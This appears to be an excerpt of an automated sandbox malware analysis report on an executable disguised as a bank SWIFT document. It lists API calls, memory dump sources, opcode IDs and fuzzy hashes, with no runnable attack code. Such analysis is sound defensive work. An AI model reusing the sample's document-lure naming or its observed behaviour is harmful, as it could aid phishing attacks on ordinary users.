                                                                                                            • SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402713
                                                                                                              • Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: FilePointerwsprintf
                                                                                                            • String ID:
                                                                                                            • API String ID: 327478801-0
                                                                                                            • Opcode ID: 9c9351cd5493f6acb52240965b0f8c81d6de1eb3f207cde75e45128e5fdd4ef9
                                                                                                            • Instruction ID: 7b0a8f507568a188bd2c0a80d79ed85a493e53c174130335dce059ea839ee6d0
                                                                                                            • Opcode Fuzzy Hash: 9c9351cd5493f6acb52240965b0f8c81d6de1eb3f207cde75e45128e5fdd4ef9
                                                                                                            • Instruction Fuzzy Hash: 13E01AB1B15114ABDB01ABE59D49CEEB66DEB00319F20043BF101B00D1C27989019E7E
                                                                                                            APIs
                                                                                                            • WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: PrivateProfileStringWrite
                                                                                                            • String ID:
                                                                                                            • API String ID: 390214022-0
                                                                                                            • Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
                                                                                                            • Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
                                                                                                            • Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
                                                                                                            • Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669
                                                                                                            APIs
                                                                                                            • SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 0040172C
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: PathSearch
                                                                                                            • String ID:
                                                                                                            • API String ID: 2203818243-0
                                                                                                            • Opcode ID: 95a92e1ee1deeee5d79651ccf25ffb42940f0592216d2c6bc0bf3332ed8f09d6
                                                                                                            • Instruction ID: f28d117729d6db308ba67ea043928a1e47cb3974c8f3bd2f87491376c6cbdc89
                                                                                                            • Opcode Fuzzy Hash: 95a92e1ee1deeee5d79651ccf25ffb42940f0592216d2c6bc0bf3332ed8f09d6
                                                                                                            • Instruction Fuzzy Hash: 73E048B2314200AAD710DFA5DE48EEA776CDB0036CF304676E611A61D0D2B45A41D72D
                                                                                                            APIs
                                                                                                            • RegOpenKeyExW.KERNELBASE(00000000,000001FE,00000000,00000022,00000000,?,?), ref: 00402C6C
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Open
                                                                                                            • String ID:
                                                                                                            • API String ID: 71445658-0
                                                                                                            • Opcode ID: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
                                                                                                            • Instruction ID: 83e72149abe1372da0a381261de05d436a54b8bdbe31dfced4d63089b9680d6c
                                                                                                            • Opcode Fuzzy Hash: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
                                                                                                            • Instruction Fuzzy Hash: A0E04F7624010CBADB00DFA4ED46F9577ECEB14705F108425B608D6091C674E5008768
                                                                                                            APIs
                                                                                                            • ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: FileRead
                                                                                                            • String ID:
                                                                                                            • API String ID: 2738559852-0
                                                                                                            • Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
                                                                                                            • Instruction ID: e5271f86abd3e691175676240f3b6d2dabcfddd4658b863dc1b472273301a449
                                                                                                            • Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
                                                                                                            • Instruction Fuzzy Hash: 8EE08632104259ABDF109E548C04EEB775CFB04350F044432F911E3140D231E820DBA4
                                                                                                            APIs
                                                                                                            • VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027AB
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2522825537.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2522813356.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522838191.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522859105.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_10000000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: ProtectVirtual
                                                                                                            • String ID:
                                                                                                            • API String ID: 544645111-0
                                                                                                            • Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
                                                                                                            • Instruction ID: 267fa8ad402a2f1685f06aa6efb9df116a04c7e31b4918ac066fddfc95f4d9be
                                                                                                            • Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
                                                                                                            • Instruction Fuzzy Hash: 5EF092F15097A0DEF350DF688C847063BE0E7483C4B03852AE368F6268EB344044CF19
                                                                                                            APIs
                                                                                                            • SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend
                                                                                                            • String ID:
                                                                                                            • API String ID: 3850602802-0
                                                                                                            • Opcode ID: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
                                                                                                            • Instruction ID: f15b28e5f211e7e8d1db6812d8cffd834990aabd0fd5fa3204c122ebb67abe5b
                                                                                                            • Opcode Fuzzy Hash: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
                                                                                                            • Instruction Fuzzy Hash: 2BB01235684202BBEE314B00ED0DF957E62F76C701F008474B340240F0CAB344B2DB09
                                                                                                            APIs
                                                                                                            • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: FilePointer
                                                                                                            • String ID:
                                                                                                            • API String ID: 973152223-0
                                                                                                            • Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
                                                                                                            • Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
                                                                                                            • Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
                                                                                                            • Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D
                                                                                                            APIs
                                                                                                            • GlobalAlloc.KERNELBASE(00000040,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2522825537.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2522813356.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522838191.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522859105.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_10000000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: AllocGlobal
                                                                                                            • String ID:
                                                                                                            • API String ID: 3761449716-0
                                                                                                            • Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
                                                                                                            • Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
                                                                                                            • Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
                                                                                                            • Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638
                                                                                                            APIs
                                                                                                            • GetDlgItem.USER32(?,00000403), ref: 00405332
                                                                                                            • GetDlgItem.USER32(?,000003EE), ref: 00405341
                                                                                                            • GetClientRect.USER32(?,?), ref: 0040537E
                                                                                                            • GetSystemMetrics.USER32(00000015), ref: 00405386
                                                                                                            • SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
                                                                                                            • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
                                                                                                            • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
                                                                                                            • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
                                                                                                            • SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
                                                                                                            • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
                                                                                                            • ShowWindow.USER32(?,00000008), ref: 00405422
                                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 00405443
                                                                                                            • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
                                                                                                            • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
                                                                                                            • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
                                                                                                            • GetDlgItem.USER32(?,000003F8), ref: 00405350
                                                                                                              • Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172
                                                                                                            • GetDlgItem.USER32(?,000003EC), ref: 00405495
                                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 004054AA
                                                                                                            • ShowWindow.USER32(00000000), ref: 004054CE
                                                                                                            • ShowWindow.USER32(?,00000008), ref: 004054D3
                                                                                                            • ShowWindow.USER32(00000008), ref: 0040551D
                                                                                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
                                                                                                            • CreatePopupMenu.USER32 ref: 00405562
                                                                                                            • AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
                                                                                                            • GetWindowRect.USER32(?,?), ref: 00405596
                                                                                                            • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
                                                                                                            • SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
                                                                                                            • OpenClipboard.USER32(00000000), ref: 004055F7
                                                                                                            • EmptyClipboard.USER32 ref: 004055FD
                                                                                                            • GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
                                                                                                            • GlobalLock.KERNEL32(00000000), ref: 00405613
                                                                                                            • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
                                                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 00405647
                                                                                                            • SetClipboardData.USER32(0000000D,00000000), ref: 00405652
                                                                                                            • CloseClipboard.USER32 ref: 00405658
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                                                                                            • String ID: {
                                                                                                            • API String ID: 590372296-366298937
                                                                                                            • Opcode ID: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
                                                                                                            • Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
                                                                                                            • Opcode Fuzzy Hash: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
                                                                                                            • Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69
                                                                                                            APIs
                                                                                                            • GetDlgItem.USER32(?,000003FB), ref: 00404619
                                                                                                            • SetWindowTextW.USER32(00000000,?), ref: 00404643
                                                                                                            • SHBrowseForFolderW.SHELL32(?), ref: 004046F4
                                                                                                            • CoTaskMemFree.OLE32(00000000), ref: 004046FF
                                                                                                            • lstrcmpiW.KERNEL32(Call,004226D0,00000000,?,?), ref: 00404731
                                                                                                            • lstrcatW.KERNEL32(?,Call), ref: 0040473D
                                                                                                            • SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F
                                                                                                              • Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD
                                                                                                              • Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061E1
                                                                                                              • Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
                                                                                                              • Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061F5
                                                                                                              • Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 00406208
                                                                                                            • GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
                                                                                                            • MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
                                                                                                            • SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
                                                                                                            • String ID: A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call
                                                                                                            • API String ID: 2246997448-1223542596
                                                                                                            • Opcode ID: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
                                                                                                            • Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
                                                                                                            • Opcode Fuzzy Hash: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
                                                                                                            • Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69
                                                                                                            APIs
                                                                                                            • FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: FileFindFirst
                                                                                                            • String ID:
